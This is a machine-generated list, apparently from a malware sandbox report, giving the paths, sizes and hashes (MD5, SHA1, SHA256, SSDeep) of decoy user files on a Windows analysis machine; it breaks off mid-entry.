SHA1: 3a6694c7a2cf99f81b71d7ccfeb77a626926c8a9
SHA256: 39e74f8656ab5b26d4718b80cc72b2c3d2b5814fa2f59375cfa7b093f13e4795
SSDeep: 1536:53zwksVJE9WPVG4AiA91BuiZp006ZRTIWA8En9YFuo:FyvE9mV2hhuiZJGRE58Y2P 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Videos\UPwDwhS0XEfMIW\7r1aCEiG-x8wNN0nCd\qyIStBjZu8Q4.mkv 53.36 KB MD5: c5dc243c4658bc297866eee6feb2b7ad
SHA1: 47ed513804c03801acf0d504523c0bf1e83aa629
SHA256: 4a4c74b206d5a43ef80c37eed257db05fe31e8dcf9da72637311ba06d2e9fc68
SSDeep: 1536:T7jQ5s7TiMrNa7Ja6+U6BiGjfAhpEN/ekDHHHbFcV4:zQ5s7HNcJ2RBiHhpEckzbF04 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Videos\UPwDwhS0XEfMIW\7r1aCEiG-x8wNN0nCd\reXbPxa.mkv 6.13 KB MD5: f7d574b2bf0bbbda91bfaaa3451f8e66
SHA1: ab78a23ebe58a03780f983274e99048d1ba9b6f6
SHA256: db631a4354fd2f61819f276e68bb18683e078a4b0a014c47c158e5210e0c0266
SSDeep: 192:Qug+ZN8lxPqyOHbeir9dk4RSa9FGVoOlenvE6UrOQ7CKl:/DvCq5r9dk44avMonE64J 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Videos\UPwDwhS0XEfMIW\7r1aCEiG-x8wNN0nCd\Rgwx6N48P Yfnm9go.swf 91.32 KB MD5: 50db927e6fa5cc797fc3e09a043e9d6e
SHA1: 7f0eb0d77931e2bc9a62668901bc3acd0aa1f0ff
SHA256: 16c2b43aeb23a46d7649f57a1c9b67f5faa4e3feaf25e46c55aa2325cb8e8257
SSDeep: 1536:YuHvVfKGG2+i+25WxIqXyU1LKidXzemcA0mYCnIdq5cUnclFYiz:dQGG2+h/xRCiL/dXx0mPwq5FcgO 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Videos\UPwDwhS0XEfMIW\7r1aCEiG-x8wNN0nCd\vP_fCxcdZuCGW1mdFWw.swf 30.48 KB MD5: 5078c0c5ceae185382704cf88e874a33
SHA1: ad8ae17c48d48d33875431bc332559f99b1adb20
SHA256: c19af58f82335721d58b5e3482a20943058899a8a766bf74d204e48838c97836
SSDeep: 384:zHT6vKCS5YiBUPROLfemxea4aEwrxZXA124ybwzdQNuVU+eYdH37wcOPGGxWC:DTfsiBIOGmt4Hw/CQ0zd0umEH372T 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Documents\JSm4d1BJPHQ\0M_4R\jrUDN8PqqjrMCWK\2Lk23P.ods 49.08 KB MD5: 1133e525c527182c96e78ad8350d2cf1
SHA1: 05ee76c41a2aef1dedf4f1d95673a63f22bf384f
SHA256: 12d89260c642e17cab668894ba3e698807e56402a56f123556ae77f97c727c3a
SSDeep: 1536:cCFi8XznrTJcY4/LDujVAysAlJ78w/rnIgc:5XzRcJCjplJ7hIF 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Documents\JSm4d1BJPHQ\0M_4R\jrUDN8PqqjrMCWK\4xI0lzuMCZBm5s6CXE4.csv 83.48 KB MD5: 0653be6b5a0ea3723b0b030b1c57c624
SHA1: 607f1c410b88a673e04bbc9dac4c7b45d862b93d
SHA256: 80f061030e52200ab9d0c1c2d0e214fd26c98829f8a5da863b4ca7261d61121c
SSDeep: 1536:VslmCbDTpv1ZyeXvmym/RlXqlQL8xzdGpMWy5kWZ8q6ux:VslmCFp/mym/a6LmxMMliux 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Documents\JSm4d1BJPHQ\0M_4R\jrUDN8PqqjrMCWK\B vEe4F3lAt7UWzM.odt 84.04 KB MD5: 5bd555ab4a48491a689d864631ba2e9e
SHA1: 6e8301cf675457e4fc27f9d272173c0cd016cea2
SHA256: b035e0fd708acf995f29dd96228b37e033f9f151c1923d02c5d10fc811d4dbc4
SSDeep: 1536:bjF2cpfq1dz6uVi2jvA+8tipbM4zpv2CAvT3Tifp9iQ/ip1x+K8lvav2:bjAWC17HTAFtobM4zwbf4iL1xQae 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Documents\JSm4d1BJPHQ\0M_4R\jrUDN8PqqjrMCWK\MVX7z7.xls 58.39 KB MD5: 590ec054062093b468132ee426d63746
SHA1: 85522c8d565ea376ecd2ad9630e95922154c5287
SHA256: 92cd145311e1b0918cb3c3719c9a2b99deb63ff6ec3d268194d92f2766bf9376
SSDeep: 1536:2pm1FX/ZLmmCQd+MSR4qud+O9oYEAmDq76+9muV+EV:2eX/Bmsd+yd+O9oYGatV 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Documents\JSm4d1BJPHQ\0M_4R\jrUDN8PqqjrMCWK\O-s 7sUKUzPU5.rtf 34.43 KB MD5: 94060e161dd30b3af699babe6ceba7f4
SHA1: 44e4952c5b232ce0d8ef2bed7afeae90b5ac8132
SHA256: 70087f669a8b1ad92e6d8d355842db7148cb48eadda20dea2e3c3d047202bd2c
SSDeep: 768:rdiwqr7NN/TXPreC4As/z7CVLC5ft1v3IRHvobG:wwqrzTPreC4dJ5frACy 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Documents\JSm4d1BJPHQ\0M_4R\jrUDN8PqqjrMCWK\ubpgT3URAuLj.ppt 10.72 KB MD5: 89e015aeba2567164230c97e211ec8d6
SHA1: 59f1cb7f68198da7a60caca84a1625e3e92fa6d6
SHA256: 0c2589584ce806f90792ac78c8ca9f65ae38d93e122ee63b8558c4af740377a5
SSDeep: 192:dyjpKXOMGVIPZzpSwwOgtLcy8MHVXX4+6x8jrEsByGbThJMvK+ic8Nj3hKqA9f6v:0mhGiRzwwwttLcqHVXLAGyo+ico3EqAW 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Documents\JSm4d1BJPHQ\0M_4R\oAObyQjE2RE200ReTM 2\iLDfMT-sIIIvIAfERs.odp 49.46 KB MD5: 13117b73ad853b952e5b498f415fd688
SHA1: f3ec40fe56f0cf124ea94b2d9b137b711f59b0d2
SHA256: c2f6f568bf1ba341d2618e656e3b2da9f1a5098cb04c07d138f2db8473829cc8
SSDeep: 768:T1wokMmlMXs0u7Zen/Tt3arkQWwlZD/rrxn4MLwnqWw7/+7SZkYytQCHGuNBtdj:hBkJ+VudY7crkURrV8s7/rkYFCJNVj 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Documents\JSm4d1BJPHQ\0M_4R\oAObyQjE2RE200ReTM 2\qBW-L1i6OoAjVg 7.pdf 83.92 KB MD5: e0481cb7b2f92ed3a17757284721c6a7
SHA1: 87cebc4c442517d009b16188fbe9b5f37f5e30e8
SHA256: cc06b0e6a59d48d0310f795ccef009d034f3d5ddf0e956870034dc0e9b414258
SSDeep: 1536:GhRt2N1QsFRO9ce/9Rh4+2pCq5nM5buTTI12Gyl2ByltEi3T26C8G6ArN9:YqvSZ/m+IL54eWBylXEmqWG6Q 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Music\-TLy_J8Ns_RLp6c\zGt1XNDmrV\vLJhMLosG7VFXleeenl\5ql kIynSYxUiIp2nSZ.wav 97.61 KB MD5: 64cb53cddc3de985dcd00ac6a5c37c9d
SHA1: 92318aea57f7e7b8e9eac30870047df34e363933
SHA256: 516bb11b9cccd7f4cd5a3d350efe624cb8cbe3cd5546420bd0555594a8109daa
SSDeep: 1536:jxIcgap9akpKqyoN8MCrQTbUEMm9sMThhEGURrP/luK+6M6OrMlmMLRHwWMc1ol7:jBgaHKVVMCrQLSIhLUxPAE1OolhH9m7 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Music\-TLy_J8Ns_RLp6c\zGt1XNDmrV\vLJhMLosG7VFXleeenl\dxHWuw Qvopg_O.mp3 36.99 KB MD5: a5e0e7727589379ba8abbd9a8e641b2f
SHA1: 0fb95fb883fe0d1067f53caec0a6bf1fc1b1b736
SHA256: 8b2350372a855aee428b9ff41ca4fd4884e227473345cbd2162886a81088028a
SSDeep: 768:pMLYbB/2KCy3w9HsskGClcNgk60Y1TVnBczWrs/nimfFylens1d7Y:ya/2K12HcGw7kjzWrenimdqd1dc 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Music\-TLy_J8Ns_RLp6c\zGt1XNDmrV\vLJhMLosG7VFXleeenl\EX2FT7vn0tNX.wav 49.99 KB MD5: b6bf8a928f345587ad7f7845e9e677f5
SHA1: ad0eda76b6cd80adde44b336056fe6e749925be7
SHA256: 2e17c28d4b2acd2e7eb5c4d8e6e53479bf2d9b498ab52d891f141fbdfd9d1baf
SSDeep: 768:ZzF6sv0Cx1ZB9Krvg/t5cXIpMe9RV+cgJ7EEWiv8BEefvN0hmvV/7oSb+2j3/Yt5:xwsvnrcvgFuXyV+cgTv+1vnd/sN2jPi 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Music\-TLy_J8Ns_RLp6c\zGt1XNDmrV\vLJhMLosG7VFXleeenl\Jtu192CsetLt.mp3 21.04 KB MD5: 559cd137e862b5607b9f0b5841ee5816
SHA1: d6a758fbdad400f1e15bfb68de83269cdf7ae7c0
SHA256: 8bf6c1f157a473e9d800add7454b12da0addbd04c8fdc44c5f4da34cc488567e
SSDeep: 384:uDqbn3NQ9WO9SKv7qLLBZ13X9AmD+FIg57TfDuHZPxwHXfv9LsG4UoRB8:KqrddK+L9nnOmDhg5fI8f1LzJon8 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\AppData\LocalLow\Adobe\Acrobat\10.0\rdrmessage.zip 41.58 KB MD5: f781b26385f2aa46326e06fe6d92f819
SHA1: affca7c05b282ecfe5da9d2019c86b4f6c471fac
SHA256: b7c6d54a93fbdef04c27988af154ec47f5117bdb8dccef9ea4ac6353723b9d25
SSDeep: 768:SrBiVzj9QKwcKIv4rthPhMUr6HHn7LL+kj1E3Ul4OSjyPAVbuAJZCawLv16sM8C8:SrkzxzS36HHn7X+kj1+yPWZCacLJR 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\AppData\LocalLow\Microsoft\Internet Explorer\DOMStore\index.dat 32.08 KB MD5: 399531602745fd670d8c0b1f86a65f5b
SHA1: d91cf11ee912c682a52eb52395b11e9852ce9318
SHA256: ec56043887aa78262993d4344bb0e09c69893b371b1622acd7e2ea3b86f3dd71
SSDeep: 768:bamZxJT+kJHaH/FSRevCgHbuJeH0/DbDQ7jL3g:bamLd+kJHafwsCgHbuwH0S/g 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\AppData\LocalLow\Sun\Java\AU\au.cab 568.17 KB MD5: 5229f92d2213153f4812187e3ddf2792
SHA1: 358842550c7564e51cb5bffe053511b8937117c3
SHA256: dcac2b20910a94dea38211babc6dd1c8d4ab6c59d0a8730f5d8196b5b735c487
SSDeep: 12288:VXC9XRSm5k+Y4hyMPezVNK9TcS5RyjDUI6Eh/MOhTt:1FRMPgyTx6jDUbE2Ip 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Documents\Pq4NefK2nb\HFINH644f-n\h2L5g_0fX2E4-\Dswo3x81eh2\bJMM.odt 80.57 KB MD5: 28893612a5932179dfea9ca82af174eb
SHA1: 4bfa6129ae57e443f73c22294a7d3f68f18f78f0
SHA256: 810cfd9eeff93b508badd2a8a8f48a1b52d74c9b335a0264663f9fc572930e82
SSDeep: 1536:D7OIJ9N6D4F0NPDZdhvYvbaRSOzQx1TBVMfIKBuAY//qnpD2J2LyHIk8fkXg+2/d:D7b6D46dgbaRS71TBewKBc/CpQ2d7W2V 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Documents\Pq4NefK2nb\HFINH644f-n\h2L5g_0fX2E4-\Dswo3x81eh2\QxO90MxS0a794iE.csv 1.64 KB MD5: 56a8c6d8131feb49f83401d23ff77d65
SHA1: 1718f23043e971c56f842d46a21ccc28a2241296
SHA256: c1cdd2b80cc64a7d50ec28d73eb01d7c296887f5ecf712b8e439163a4f4c34f2
SSDeep: 48:SqJY7KCkSc5c+2tYNnFMEtJdYzFBKBnp5cvh9/Qg02HkKED:Sq0Bc5qtYNF1aiFk5QGHkz 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\sUk0Y3qYq\nHxhzgevO\maSLl2ddJ2f\1iB5Z_g 0Z7m\dV-4OgHw.jpg 66.59 KB MD5: 93cbfe44fc1a89eb5ce19e96117333a3
SHA1: 9ac4df77f1e1ffb8c0ee8f46e66280f2264cf3c9
SHA256: 8194fd122133acf9eeb611f58c34ceff53ed8050a1014643d5e7df0cf0faea5c
SSDeep: 1536:GF19CiVCks+KhWuP1qi5ZSyCCUba9zjDG0fqS16BWGpU:e7NV5sltNq09CS9zjaO6BWX 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\sUk0Y3qYq\nHxhzgevO\maSLl2ddJ2f\1iB5Z_g 0Z7m\l-BZ9z46Yh.gif 66.77 KB MD5: 999dec050ad983afb25d47ee9b3ec5e6
SHA1: 001a36994716124ff0217d5937e0779109408b67
SHA256: 09effa0d3adc7929cf5ea0e89c06228653bbc5f93d6e0cb2eef7f5eeac9b771b
SSDeep: 1536:cO1TXrWhrMv8tvuC2SMcSJl2FKtGviChSHjhhGRq4:n1T6hrq5uyQ/JwHjT4 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\AppData\LocalLow\Microsoft\Internet Explorer\DOMStore\36USA68T\imagesrv.adition[1].xml 91 bytes MD5: 52b3d66adba4ec74b12caf0b1540c671
SHA1: 890f838a1944b5009c12b1f1207fd62b18558ce1
SHA256: 3eb8e1b7a1635a644754ac0c9844645bca936fafa4ed12e61671c9b11153ce6e
SSDeep: 3:DMkqzmDBRmV76FpavlmHUXdncIFiRHIgHaRT:4rKDBcvoHWcii96Z 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\AppData\LocalLow\Microsoft\Internet Explorer\DOMStore\VGMTOI09\www.msn[1].xml 914 bytes MD5: 520ca46babb27985c9ef7bc0eb696c2d
SHA1: d91a33d3596016f715835ac139d1abf2a3b0e1f6
SHA256: c4b1bc6000887a8a8f11df18d0ef73951ecfb861a2b751bdb8d98653741e82f6
SSDeep: 24:Ow7Waj6tbS9UiX1qQowZFX823F6uSJeT5sXCU5oDkQbnWbD:OwBjnxgeX8C1SGyp5IjbED 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\sUk0Y3qYq\nHxhzgevO\maSLl2ddJ2f\1iB5Z_g 0Z7m\0oYpcgE\56-yF4GGULAUhf4UDL0L.png 29.82 KB MD5: 37c770db9791752f604d328fde662b04
SHA1: 966c478875988130a362d7ced4fa04aded8bfcca
SHA256: 03083c1b1f9d4f73971df8927b61afab866be7e4a5629dbb5997998b7e5f20c7
SSDeep: 768:bvtnIrMf/UTtxU0wwvX57q4k31shZiKf/LNCs1P:JjijwwvtqlIiKfoc 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\sUk0Y3qYq\nHxhzgevO\maSLl2ddJ2f\1iB5Z_g 0Z7m\HgMWObDN_T\zLV996oLAFyQZtVPKWLF.gif 24.80 KB MD5: 840e4a8a48635d39db9dbb55ae1a00c3
SHA1: 4ecf60ebf6909b2ce381e8f9a6bc139bd5cf8ed8
SHA256: 7fb5c15fa428e1e06a75e9accbc6366230d7f6b1c38d760d6e48a09179159f1f
SSDeep: 768:yJEQVAebP1EIU6mQpdXQY2TbJcJsqhV4ClGfuYeWEgU0Hb:YFVAe7iu1h2TbJbqhVtlcuYeWU07 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Contacts\Administrator.contact 66.86 KB MD5: fe3b11bafdd8aaf4edca4fd14c3ca2a3
SHA1: 1ec64c0e9ab73368f3b8b26662d36d7fd915801a
SHA256: 662b127de258cf7a906d27f9ace558ce30931bfc914f175324436577b05f950c
SSDeep: 1536:EvgEJHsPHAdYWY3EwFThz4H70hUPu+3VqxoW5vlxp+:EvHogdYMShw70GPncuW5g 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Contacts\lulcit amkdfe.contact 1.22 KB MD5: 632f3aa2585f0ba370a63b8569f0b240
SHA1: 26a3ea06392ff6e021cf8fb4cd53eaae29641876
SHA256: b523f9b873c50120490935d8a7cbd8e37c45409ac7db27b6762a2eb0bb4a99d4
SSDeep: 24:o1Bn4JIoCQ/kbD8sSnXXwtt6GGq1uTXShA7jv5Op6pKia+7+BnWbD:OBWCQ/ONSXXwtt6bqQTSGjRDB72ED 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\j WmU7ker3Iej.mp3 47.74 KB MD5: 8d3c894f1fbb3d251d3966daceb60030
SHA1: 44857ce0d20a452f84f66d66e89e5e75ca2ef4c4
SHA256: 1f3c162fe8defee769bde38f5e7ea5c62704935d1d35a3918eb47eb2caed1815
SSDeep: 768:Iqr+Gpv73a2X3MnAs00Cd2eeVlEcLkw42nYHzjKW3MgqgD0dJtzk1hWDBb0ZK:IqKNCE7E6kwdnYHzjLM9gAdPkVw 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\nk Bv.png 29.94 KB MD5: 265d23a6f8556c7f9a78eee7ecbc2f73
SHA1: ec7cf2998aa79e68469d7f7e03551dae5a4dd9d9
SHA256: c6d60de8c57e27eb4a9cad74a723abc6ec207646966ace8c84b0dca96cbd5aee
SSDeep: 768:b6hJxJGWgoS0ks2MQiCwFbOb2hV0imXwDaSI1Q:46WgKks2HiCcbObSSx1Q 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\pSR 950o t1F-.mp4 73.06 KB MD5: 8731eecc24f020435f1e616a2cb97e7d
SHA1: 3caa5d63d7ba04058b2fe7202e56cbe95b23aec9
SHA256: 2e186d8ce558a20e6762852358da43310be42762450956fad7d02fd1027237df
SSDeep: 1536:LGRdvHHO+E/MXb8ftE0EP/xokN6t614XM3ABTeh3Z6ewiwQRJB:e7E/MXofve/akNL6BRgsr3eB 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\s8Ur5b0FR5.xlsx 97.62 KB MD5: 3982fa56561588dd9263e1231eaf19ec
SHA1: cd0defa94618d2afcbe41040015e3326f6647fad
SHA256: 7e5db79d1769e0feff1674c4e231fc9782b94cbaa084283fdfdc992f30562a82
SSDeep: 1536:5whVZOeGg3d2wZT3JFbmXeJOdkGQiZUdjvBIJv99i/PpAHOc4AVMeedF4/U4:5whLO0N2cT3LC6kLXUBvm99IAWA5/U4 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\Yhvz3du1L4T.flv 61.98 KB MD5: 6b8d8ce0ed071b8156883c8227d07a12
SHA1: f79b2c7fab8b5db3e3bed5a9888842641783aa15
SHA256: 92869dcf2a88ac5538883c9b83e6728f7027502bad14dc0c735e6f6b77426d22
SSDeep: 1536:P+agsqAfDf2wv2Z+2l84/TGo+Baez8mn5lUkDGw/My5h:Gags0C2l8Po0ae8+/jawEc 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Documents\cziIE32ag xe.ots 47.42 KB MD5: 8e3ea86b94407badbfee478703149570
SHA1: 539719650f79705455b2040dee01729acabfe11f
SHA256: 118c4c781606bba2dc0c4df1382a08b0cec1b5b72eb56b1a43f54111f00c17a5
SSDeep: 768:Ooo0GC1xEHobfBQNSIRIuS4+NYKVF0wUwRyrmvmi+VJzpOeXer4Yu:o0vwVIN4uY/wfkk2JAeXK4Yu 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Documents\k1_TmsZisgvN4S.pptx 37.41 KB MD5: 8e5486820a18b66c722d82e8324031c1
SHA1: a5436d407fb676514861a23a041f7f18a834b650
SHA256: 9a36ca340d447a4f3130249d0c6ec730a8680b247b0e7b44d356a10550289b8e
SSDeep: 768:Hk4dXWyDQmKJ00/Ibap8SWPaYcRghGUaBtu2DcivFLn7RSKv:Hk4dXWyDtKJ/IenWPaYbhGtgsR1Se 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Documents\MKWv2Lnto6B0LC.xlsx 99.30 KB MD5: 1e3234547def3486aa2425995e1fc081
SHA1: 2efff958d8a6f61d697f76ba9e1826533d6bad40
SHA256: fe8aa7ab756892bd37abac4d3b3a0c8bdbedc6f4fa68f50066be7f255261b53a
SSDeep: 1536:+kPZuFmWS21PyvC+dRMOdhrl05ACefHrMkYEoyEwKNbfqBAnL5+wFlKJwHx8+3ru:+4PWS4yq+dRMOe55eIkr9EwK1D0Rcu 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Documents\mlUXviQ806vyLllkB.xlsx 97.32 KB MD5: 43bfe02cad686e86af7a0b9181ae695d
SHA1: 0c8e9951c68bcf6643d2941e71fe0f25007f23a0
SHA256: 6b09ef682d308de0b97d547cccda339ed254f28f5f795a40eb7249840f368ed2
SSDeep: 3072:EKnDgSPo1lDneF+oOC2R9GZXnByF3zbdcfDI0zZY0uNLc:EMgSClekof2RGXnqDbdwDI2Y9I 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Documents\qMPNA1vbVY9_-nAG.docx 21.91 KB MD5: 1bb18214f24ef811a03bae413247e0fd
SHA1: 8603cca4abfccf3cff602093eebb4a7d176032b1
SHA256: c21214c1a2e45472503f819ea42ee18c262d1b390681f986cc6fd7a0d3dfe475
SSDeep: 384:Fl+E/Odxsn9NvNDwT2g559cqqHQBAeySDdwJ0vsO5ZCWnoi4em:Fl+AOdx2NvNDUR552zQVyShwaVA1em 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Documents\r29okez.docx 16.14 KB MD5: 0625d7e8176d53b4f0a971d415903999
SHA1: 945cee4002e712fa88098c6c5888926ffaf51777
SHA256: c39a799fc9927d3d4deff574ebb65c43652757f57fb1df728aeb7d369e4f1c1f
SSDeep: 384:mQiQmTiw7xCYv7QppSrQB3vvhkjdrOFE5qnqd8Y:8QmTB7xLDOZB3xMdrOFEEnqdR 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Documents\rtNG.xlsx 36.84 KB MD5: 244e87aaed07947294240cbe7e9bb576
SHA1: 028c4c5462e3ec7c2f5687577bc54dd257ce7aa5
SHA256: a661f8868a9d701e0e3f379054e07992c60a17c82b47b554f7d29cbf3bd9aada
SSDeep: 768:HjGvpTyvc5PjAKbgf7OWs8FPUGKUmgkDFsjTrQ3QkS4qtZM:HqEvScKMf7O18FPUGjvkinrQgPZM 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Documents\vC7KMK.xlsx 97.43 KB MD5: 1f1b841ece070d65951644725daf33d5
SHA1: faa4c6e7384d5f1ff6e43d31cde81210f7db8949
SHA256: 4fa477a79bd591570e49d2fc8f6265a103191c5b38ce52162c19394e66c2851b
SSDeep: 1536:fa/uKfx1yF5w0jucKmph8/gfwjPQxWOfaJxhAScg2rHosQwawdrxn4hQrQyd6gE:fam+1A5wiuczp+oQ4g4aZnrYQwaxoQb 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Documents\WKJRVuyD0u.pptx 30.48 KB MD5: 92e4631706c5707178ef428fe3de534b
SHA1: de12a7f10d03eeb8b2e17bbbf155cf159f1f2876
SHA256: bea07c9e0304a0cd55dc05fe292e51f1441ba533220293c878eab4c69c0953e0
SSDeep: 768:JWWqYBnN+ovn/qHFW/SAzNP9dIjP2KTmfq23t4hWM7NL1nfc9/:JqY14i/qlts9dIKKTmi+ERlK/ 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Documents\yuc5.xlsx 99.95 KB MD5: 0dda3657d16b0517e29f970f7c75db5e
SHA1: 9a1d3d19bc35ea3ebf3163dff69048e9c8f40854
SHA256: 62c5237c89494b6d406d7ca114c650bea526b69416f3684e5b095b6e703ddb05
SSDeep: 1536:zrC9S3QAHBSYEOniFjt8Wp65F2LUBhQOgaRvkJvBjgx+5hjQFzMExWbO3vft3:zzi5OiFm/cUBhLgaR0gx+mvxP3vp 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\76ig.bmp 70.91 KB MD5: ffe0f041ed1a916df9bf646fe3c039b5
SHA1: cc199411401e7f842baa6edf9c3df8d19f239251
SHA256: 9860c26b5b31d9a3997a90e26fac8d3a0bcbfabd1fef37825ded129d323cbaec
SSDeep: 1536:wdk147bl2n562Plalf3NmgDKjSkp2BD+60jeGS0c:mt856slEf6SkpT60j00c 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\f7xAj.bmp 20.48 KB MD5: 34f23544c65f9d675f11ec35b70ee424
SHA1: 8789239be565590a21c2d7a8d544687e6539a729
SHA256: 41870c2a7b40e1249807749daff21173a3f6d55979bb1fbc384ac20c04e62261
SSDeep: 384:TgD54JnTQ8CmEUwIjfXPA4KLbgfGi0HgUlAVJNHzFb5yzqef//j+JFoL:TgCnTOmEUFjPPA4KLbgiHPlEXHZb8ziK 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Videos\Z9p5.mp4 79.41 KB MD5: 02f5c53311fe73c51c00dd5423a87367
SHA1: 868c08dd8af07098ecae05c9431ea656b2bfe2aa
SHA256: 9986d4df603b5dad557f1649e5282e979264f3550bec321653e3e29571fc9678
SSDeep: 1536:RCcootmukp+JBrSgg7vhadbdWEsxUURZDSIvU4LciKJeQFeTYsngg5XCoYAvSKp:4coQmukp8Tsu05xvciK8mAYy5XCoSKp 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\goII1-LdorQgUUB\R6wEXsUw0FREp4.bmp 23.03 KB MD5: 3179c9ffc209232282150191e63a3e7a
SHA1: b74a724589e684b3b530c003a1d6ec493fbf5278
SHA256: 63af5f91a1bab68b90304c432073b087371f5639f9dda33921b4b6a14c5baeab
SSDeep: 384:LB9ftzlo2pgIkRGV5WBHKEx3rPK7rtZD+CtV40PJAf5xdhYyiseKAHyXBcbiB8uV:LffplZpgxqwx3m7r3DhtuGJ4VhYtsNbx 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\HGaFtV5-DZyJzVdJztj\fR_RDv.mkv 12.21 KB MD5: 8de66d85e4e8e9bcc7fde7265f3880d1
SHA1: c9829309bea4d14c81acc85dcb861beba6af07ce
SHA256: 9e7a6cec76aadadfc0248839f1f292318362985edeceb3d5cb66e30a4c0fdebc
SSDeep: 384:iiQp9zHxdTGin1AJsh8fdXBYkkhaLAz02DevU:iiQfGineiCdRYkkhaY0MD 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\HGaFtV5-DZyJzVdJztj\pfRFKMTfN10.flv 5.42 KB MD5: 75599e45e671ffaea73dc410d5b2c11e
SHA1: 3b06730a27e0f3299aece7c8dbe53c85fd28280d
SHA256: d1ef7b314dcc1adf13698f1bc105c326de595ee34042ad8d4b4181cf3d44c48a
SSDeep: 96:P+E6lyFuLzUGnFInkj3pnlQmbK/acDo4dq7j3yWEUPPZgqpDzayxFCsnHtMkakIR:P+E6YGVIkrpnqmbMaidqXiWE86qgyxtO 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Documents\JSm4d1BJPHQ\IBpqG xe.pptx 33.17 KB MD5: 0e5bbdc8afb72a91865704ad3bdcf63f
SHA1: 2226a751be0e84bae5580c3020b1e0656e19a843
SHA256: 866f7abcb241429e2b57a9570b32319f0e2ccf93c13ba61029a9009595c88021
SSDeep: 768:WUkgneaRvydZOiBGtX80HkPkuT4IxaQI0zaLslfry103o:xkgnZvCdBGtX8Iqdsqiyak+1d 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Documents\JSm4d1BJPHQ\LqsXYT88UnYHPGG.odp 53.98 KB MD5: 5c8193183ee8b8910e05685636f9e7e1
SHA1: 765186d526a4414d8b89a135ce0e4513c0dd808f
SHA256: 9fec8b67a8e2e5ea6ae26481806821f10b8729e5a2330184274a6d908b5fe273
SSDeep: 1536:XFnklmuFfhK0mLkps6zMM0gMG4shGNJKZl5S:Vnklm/kps6zxn4YGQ5S 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Documents\JSm4d1BJPHQ\_IRX.ots 25.81 KB MD5: 5c54658e5fc5778e60d6bde67583c2e2
SHA1: 4038dcc138458d55c71dcab6dcacdfefadcf67e0
SHA256: 98e496e11ed4b92b4b980ad853cb92e6879d498d9efa29134828f7d457c643c1
SSDeep: 768:kP/j+hSJfjo/FCUvjTdM4455X2+5H+Hu2E4WEb/D:kP/j+wJro/8Ojyv3m2eO34WEb/D 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Favorites\Links\Suggested Sites.url 314 bytes MD5: 15d02bbdc1e8599f1101fd99c1d08d86
SHA1: 5063c46269468bd05b966511496e55beaf09faef
SHA256: d588712d83c0e54879d1fc6c8ca06719b8d252c399c60d41ac6085afeecb224c
SSDeep: 6:J4KBfvIq5xNjSqhtKtlKINvdcwEBJCxiw739SNu4APxKDBcvoHWcii96Z:3BfvNRGqGtlNN1c5ukw739c2kDivQWcq 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Favorites\Links\Web Slice Gallery.url 304 bytes MD5: 2d39a1a6e3d20f9c89d5e365f4335ba9
SHA1: 8a170d8da819b44bd3cf3b4220891b31eb458f9b
SHA256: 5764aaf9db5e0a6f987793b966215ec196c94e2b8db1dff6d5dfbaf297d2928f
SSDeep: 6:J4KBfvIETRlmdfSppWuO9GS1w2Cuq5dE3LNxwsDBcvoHWcii96Z:3BfvFTDmdfFCDuqP2wsDivQWcii9a 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Favorites\Microsoft Websites\IE site on Microsoft.com.url 211 bytes MD5: c7e963a0f7b3ba69a24dd4b1f1c8219b
SHA1: aca3e9928e40d67147a93c61a87878f5664d89c1
